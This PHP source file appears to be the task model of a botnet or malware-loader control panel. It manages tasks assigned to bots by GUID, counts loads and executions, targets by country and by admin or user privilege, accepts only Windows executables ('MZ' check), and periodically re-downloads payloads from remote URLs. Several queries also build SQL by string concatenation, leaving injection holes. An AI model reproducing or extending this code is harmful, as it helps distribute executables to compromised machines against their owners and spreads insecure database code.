<?php

namespace app\models;
if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}
use lib\DownloadFile;
use lib\Config;
use PDO;


class Task extends Model{

    function __construct() {
        parent::__construct();
    }
    function getTasks()
    {
        return $this->core->dbh->query('SELECT * FROM `tasks`')->fetchAll(PDO::FETCH_ASSOC);
    }
    function getTask($id)
    {
        $prepare = $this->core->dbh->prepare('SELECT * FROM `tasks` WHERE `id` = :id');

        /** @var $prepare \PDOStatement */
        $prepare->execute(['id'=>$id]);
        return $prepare->fetch(PDO::FETCH_ASSOC);
    }
    function getCountLogErrors()
    {
        $ret = [];
        $tmp = $this->core->dbh->query("SELECT COUNT(*) as 'count', `error`, `task_id` FROM `task_logs` GROUP BY `task_id`, `error`")->fetchAll(PDO::FETCH_ASSOC);
        if($tmp)
        {
            foreach($tmp as $t)
            {
                if(!isset($ret[$t['task_id']]))
                    $ret[$t['task_id']]=['ok'=>0, 'err'=>0];
                if($t['error'])
                    $ret[$t['task_id']]['err']+=$t['count'];
                else
                    $ret[$t['task_id']]['ok']+=$t['count'];
            }
        }
        return $ret;
    }

    function updateRemoteFiles()
    {
        $need_tasks = $this->core->dbh->query("SELECT * FROM `tasks` WHERE `update_remote_fraq` IS NOT NULL AND `status` = 1")->fetchAll(PDO::FETCH_ASSOC);
        if($need_tasks)
        {
            foreach($need_tasks as $nd)
            {
                if(is_null($nd['last_update_remote_at']) || strtotime($nd['last_update_remote_at']) < time()-$nd['update_remote_fraq'])
                {
                    $download = DownloadFile::factory($nd['remote_file'])->download_to($nd['local_file']);
                    if(!$download)
                        $this->log($nd['id'], sprintf('Download remote file from %s error: %s', $nd['remote_file'], DownloadFile::getLastError()), 1);
                    else {
                        try{
                            $this->core->dbh->beginTransaction();
                            $this->core->dbh->exec("UPDATE `tasks` SET `last_update_remote_at` = '".date("Y-m-d H:i:s")."' WHERE `id` = ".$nd['id']);
                            $this->log($nd['id'], sprintf('Download remote file from %s success', $nd['remote_file']), 0);
                            $this->core->dbh->commit();
                        }catch (\PDOException $e){
                            $this->core->dbh->rollback();
                        }

                    }
                }
            }
        }

    }

    function updateLoadBulk(array $ids, $bot_guid)
    {
        try{
            $this->core->dbh->beginTransaction();
            $this->core->dbh->exec('UPDATE `tasks` SET `load` = `load` + 1 WHERE `id` IN ('.implode(',', $ids).')');
            $tasks_bots_sql_part1 = 'INSERT INTO `tasks_bots` (`task_id`, `bot_guid`) VALUES ';

            $values = implode(",", array_map(function($a, $bot_guid){return "($a, '$bot_guid')";}, $ids, array_fill(0, sizeof($ids), $bot_guid)));
            $this->core->dbh->exec($tasks_bots_sql_part1.$values);

            $this->core->dbh->commit();
        }catch (\PDOException $e){
            $this->core->dbh->rollback();
        }
    }

    function updateExecBulk(array $ids)
    {
        $this->core->dbh->exec('UPDATE `tasks` SET `exec`=`exec`+1 ,`status`= IF (`exec`>= `limit` and `limit` <> 0 ,0 , `status`) WHERE `id` IN  ('.implode(',', $ids).')');
    }

    function toggleStatus($id)
    {
        $this->core->dbh->exec('UPDATE `tasks` SET `status`= IF (`status` = 1 , 0 , 1) WHERE `id` = '.$id);
    }
    function clear_stats($id)
    {
        $this->core->dbh->exec('UPDATE `tasks` SET `exec` = 0, `load` = 0 WHERE `id` = '.$id);
    }
    function delete($id)
    {
        try{
            $this->core->dbh->beginTransaction();
            $file =$this->core->dbh->query('SELECT `local_file` FROM `tasks` WHERE `id` = '.$id)->fetch(PDO::FETCH_ASSOC);

            $this->core->dbh->exec('DELETE FROM `tasks` WHERE `id` = '.$id);
            $this->core->dbh->exec('DELETE FROM `tasks_bots` WHERE `task_id` = '.$id);
            $this->core->dbh->exec('DELETE FROM `task_logs` WHERE `task_id` = '.$id);
            $this->core->dbh->commit();
            if($file && file_exists($file['local_file']))
                unlink($file['local_file']);

            return true;
        }catch (\Exception $e){
            $this->core->dbh->rollback();
            return false;
        }
    }

    function updateTask()
    {
        if($this->is_valid())
        {
            $sql = "UPDATE`tasks` SET `name` = :name,  `type` = :type, `pl` = :pl, `countries` = :countries, `countries_inverse` = :countries_inverse, `local_file` = :local_file, `remote_file` = :remote_file, `limit` = :limit, `update_remote_fraq` = :update_remote_fraq, `last_update_remote_at` = :now, `created_at` = :now WHERE `id` = :id";
            $stmt = $this->core->dbh->prepare($sql);

            $countries = implode(" ", $this->countries);
            /** @var $stmt \PDOStatement */
            return ($stmt->execute(['id' => $this->id, 'name'=>$this->name, 'type'=>$this->type, 'pl'=>$this->pl, 'countries'=>$countries, 'countries_inverse'=>$this->countries_inverse, 'local_file'=>$this->local_file, 'remote_file'=>$this->remote_file, 'limit'=>$this->limit, 'update_remote_fraq'=>$this->update_remote_fraq, 'now'=>date('Y-m-d H:i:s')]));
        }
        return false;
    }

    function insertTask()
    {
        if($this->is_valid())
        {
            $sql = "INSERT INTO `tasks` SET `name` = :name,  `type` = :type, `pl` = :pl, `countries` = :countries, `countries_inverse` = :countries_inverse, `local_file` = :local_file, `remote_file` = :remote_file, `limit` = :limit, `update_remote_fraq` = :update_remote_fraq, `last_update_remote_at` = :now, `created_at` = :now";
            $stmt = $this->core->dbh->prepare($sql);

            $countries = implode(" ", $this->countries);
                /** @var $stmt \PDOStatement */
            $stmt->execute(['name'=>$this->name, 'type'=>$this->type, 'pl'=>$this->pl, 'countries'=>$countries, 'countries_inverse'=>$this->countries_inverse, 'local_file'=>$this->local_file, 'remote_file'=>$this->remote_file, 'limit'=>$this->limit, 'update_remote_fraq'=>$this->update_remote_fraq, 'now'=>date('Y-m-d H:i:s')]);
            return $this->core->dbh->lastInsertId();
        }
        return false;
    }

    public function is_valid()
    {
        if(isset($this->_data['name']) && is_string($this->_data['name']))
            $this->name = trim($this->name);
        if(empty($this->_data['name']) || !is_string($this->_data['name']))
            array_push($this->_errors, "Field name can't be blank");

        if(mb_strlen($this->_data['name'], 'UTF-8')>15)
            array_push($this->_errors, "Maximum length of Name - 15 chars");

        if(empty($this->_data['pl']) || !in_array($this->_data['pl'], ['all', 'user', 'admin']))
            array_push($this->_errors, "Unknown Level privilege");

        $this->pl = ($this->_data['pl']=='all' ? null : ($this->_data['pl']=='admin' ? 1 : 0));
        if(empty($this->_data['type']) || !in_array($this->_data['type'], ['local', 'remote']))
            array_push($this->_errors, "Unknown type of file");

        if(!empty($this->_data['countries']))
        {
            $this->_data['countries'] = array_unique($this->_data['countries']);
            foreach($this->_data['countries'] as $country)
            {
                if(!preg_match('#^\w{2}$#', $country))
                    array_push($this->_errors, sprintf('Wrong country format for %s', $country));
            }
        }

        if(empty($this->_data['countries']) && isset($this->_data['countries_inverse']) && $this->_data['countries_inverse'])
            array_push($this->_errors, 'You have chosen field "All except selected countries", but forgot to select the appropriate country');
        if(!isset($this->_data['limit']) || !ctype_digit($this->_data['limit']))
            array_push($this->_errors, "Limit is invalid");

        if($this->type == 'local')
        {
            if(empty($_FILES['upload']['tmp_name']['file']))
                array_push($this->_errors, "Give me a file");
            else{
                $fp=fopen($_FILES['upload']['tmp_name']['file'], 'rb');
                $mz = fread($fp, 2);
                fclose($fp);
                if($mz!='MZ')
                    array_push($this->_errors, 'File type not supported');
                $tmp_name = $_FILES['upload']['tmp_name']['file'];
                if(!is_uploaded_file($tmp_name) || $_FILES['upload']['error']['file'])
                    array_push($this->_errors, sprintf('Upload Error: %s', $_FILES['upload']['error']['file']));

                $file_name = md5($_FILES['upload']['name']['file'].rand(0,100500)).'.dat';
                if(!@move_uploaded_file($tmp_name, Config::read('upload_dir').'/'.$file_name))
                    array_push($this->_errors, 'Upload Error. Permission denied to upload dir');

                $this->local_file = Config::read('upload_dir').'/'.$file_name;
            }
        }elseif($this->type == 'remote')
        {
            if(empty($this->_data['remote_file']) || substr(strtolower($this->_data['remote_file']), 0, 4) !='http')
                array_push($this->_errors, "URL for remote file is invalid");
            if(isset($this->_data['update_remote_fraq']))
            {
                if(!ctype_digit($this->_data['update_remote_fraq']))
                    array_push($this->_errors, 'Update is invalid');

                $file_name = $this->make_filename($this->_data['remote_file']);
                if(!DownloadFile::factory($this->_data['remote_file'])->download_to(Config::read('upload_dir').'/'.$file_name))
                    array_push($this->_errors, sprintf("Download remote file error: %s", DownloadFile::getLastError()));
                else
                    $this->local_file = Config::read('upload_dir').'/'.$file_name;
            }
        }

        if($this->getErrors() && $this->local_file && file_exists($this->local_file))
            unlink($this->local_file);


        return empty($this->_errors);
    }

    public function set(array $data)
    {
        foreach($data as $k=>$v)
        {
            if($k=='countries')
                $this->_data[$k]=array_filter(explode(" ", strtoupper($v)));
            else $this->_data[$k] = $v;
        }
    }

    private function log($task_id, $log, $error=0)
    {
        $m_log = new TaskLogs();
        $m_log->insertLog($task_id, $log, $error);
    }

    private function make_filename($somedata=null)
    {
        return md5($somedata.rand(0,100500)).'.dat';
    }
}